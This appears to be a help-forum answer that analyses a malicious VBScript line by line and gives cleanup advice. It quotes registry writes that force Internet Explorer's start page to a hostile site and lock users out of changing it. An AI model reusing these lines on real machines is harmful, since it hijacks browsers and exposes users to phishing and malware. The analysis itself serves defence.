I don't speak much script, but the intentions of this one seem mostly clear.
Set shell = CreateObject("WScript.Shell")
The first line, I'm not totally sure of. However, some Googling seems to confirm my thoughts that this is a fairly standard opening line for a script.
The rest of the lines appear to be setting various registry keys.
This one adds a new URL Prefix to Internet Explorer. Essentially, any time IE is told to request a resource beginning in "mirc." and the protocol is not specified, it will insert "http://aarama.net/" in front of the address before processing it. So, if you were to type "mirc.google.com" into your address bar, IE would translate it to "http://aarama.net/mirc.google.com". This probably helps some of the other scripts on the malicious site (or downloaded malware) to function.
shell.regwrite "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
shell.regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
These add Registry keys that typically implement Group Policy control over Internet Explorer. You may find that you cannot change your IE Home Page via the Control Panel anymore.
shell.regwrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://aarama.net/","REG_SZ"
shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://aarama.net/","REG_SZ"
These set "http://aarama.net/" to your home page - ensuring that you'll go to the site at least once, and have opportunity to fall victim to whatever phishing scam or malicious code may be there. Of course, the earlier keys will make sure that you don't just go once since you can't change the home page.
Again, I don't really speak script. But I think this one quite obviously ends it.
Some things you should do with this information:
1.) (Too Late) Do not go to that website.
2.) Have a few good antivirus/anti-malware programs dig through your machine. My recommendations are an Avast! boot-time scan, Malwarebytes, and SpyBot Search & Destroy. If possible, use a separate, known-good, disposable machine to do the scans. Or, get a good LiveCD for the scans.
3.) Check your registry for the values created by the script. If they're still there, back up your registry, then delete the created values or change them to your preferred settings. The first three should just be dumped. The last two, set to your preference or "about:blank".
4.) If you notice any suspicious activity on your system after this, it's time for the "nuke from orbit" approach. Hope you've got good backups.